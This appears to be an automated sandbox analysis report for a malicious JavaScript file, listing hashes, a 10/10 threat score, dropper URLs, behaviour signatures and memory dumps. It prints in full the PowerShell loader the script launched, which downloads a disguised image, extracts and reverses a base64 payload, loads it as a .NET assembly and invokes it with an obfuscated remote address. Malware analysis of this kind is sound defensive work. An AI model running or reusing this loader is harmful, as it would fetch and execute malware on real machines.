Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    23-01-2025 19:16

General

  • Target

    E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js

  • Size

    163KB

  • MD5

    00a4ba139e436facb9861b2ac35024fb

  • SHA1

    16396955fcb4bdf72d8f67fe37ed6c17a39bb9c2

  • SHA256

    9ae6de36be82dd3f67dab2f0406030f65e72461702ae41e097d75925f4d468ec

  • SHA512

    8ff47d5fe6381c07947e56e82e235fc0e2f75992b94f842e716b045259ce6488a2b513748884416c79b0f90e2fd014f7959747d1b3b9e1fd0a23d58396f6ef6f

  • SSDEEP

    1536:xyyVPkspf9s3r8MHps2DxE7EhpdH54HeI7YUnt44KnayzQ6VSYMLR5vUVtOvivcM:kyJksp9YVHVRutCzQ6V6L7uHGi

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg%20

exe.dropper

https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg%20

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.nohcacle/selif/42.74.13.58//:p##h';$restoredText = $originalText -replace '#', 't';$zILiCNmoLWklIciuZGfk = 'https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg ';$mijRzvAWLKPNRLipIadl = New-Object System.Net.WebClient;$zmGGgZmkKleHZWZLAxIP = $mijRzvAWLKPNRLipIadl.DownloadData($zILiCNmoLWklIciuZGfk);$nUGfacLxNohtBULdGLlR = [System.Text.Encoding]::UTF8.GetString($zmGGgZmkKleHZWZLAxIP);$iBLkelcWLJNAcnCahxNc = '<<BASE64_START>>';$cWjofLKGcALfWLTccOWP = '<<BASE64_END>>';$WWKLWZRrNKlhPsbKLqnC = $nUGfacLxNohtBULdGLlR.IndexOf($iBLkelcWLJNAcnCahxNc);$GnkLctmzoakcsGLoWcPK = $nUGfacLxNohtBULdGLlR.IndexOf($cWjofLKGcALfWLTccOWP);$WWKLWZRrNKlhPsbKLqnC -ge 0 -and $GnkLctmzoakcsGLoWcPK -gt $WWKLWZRrNKlhPsbKLqnC;$WWKLWZRrNKlhPsbKLqnC += $iBLkelcWLJNAcnCahxNc.Length;$nBAhufLcxSNPiUfiWKNz = $GnkLctmzoakcsGLoWcPK - $WWKLWZRrNKlhPsbKLqnC;$BGCKZLLRmtNGWWAHWPeG = $nUGfacLxNohtBULdGLlR.Substring($WWKLWZRrNKlhPsbKLqnC, $nBAhufLcxSNPiUfiWKNz);$afRTRKpCgUmKzkePhWcL = -join ($BGCKZLLRmtNGWWAHWPeG.ToCharArray() | ForEach-Object { $_ })[-1..-($BGCKZLLRmtNGWWAHWPeG.Length)];$GBknWaLbikALKGkGPkPG = [System.Convert]::FromBase64String($afRTRKpCgUmKzkePhWcL);$qULKLdQqtKhNgtAPUIWL = [System.Reflection.Assembly]::Load($GBknWaLbikALKGkGPkPG);$RfLnOzWRGskNogCdkLcU = [dnlib.IO.Home].GetMethod('VAI');$RfLnOzWRGskNogCdkLcU.Invoke($null, @($restoredText, 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK', 'aspnet_regbrowsers', 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','1','nRiUWBKAWxPUkLbcaHoK','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2800

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabA718.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarA7D6.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/2800-18-0x00000000020D0000-0x00000000020D8000-memory.dmp

    Filesize

    32KB

  • memory/2800-17-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-15-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmp

    Filesize

    4KB

  • memory/2800-20-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-21-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-22-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-16-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2800-19-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-58-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-57-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmp

    Filesize

    4KB

  • memory/2800-59-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-60-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-61-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-62-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB

  • memory/2800-64-0x000000001ADE0000-0x000000001AF9A000-memory.dmp

    Filesize

    1.7MB

  • memory/2800-65-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

    Filesize

    9.6MB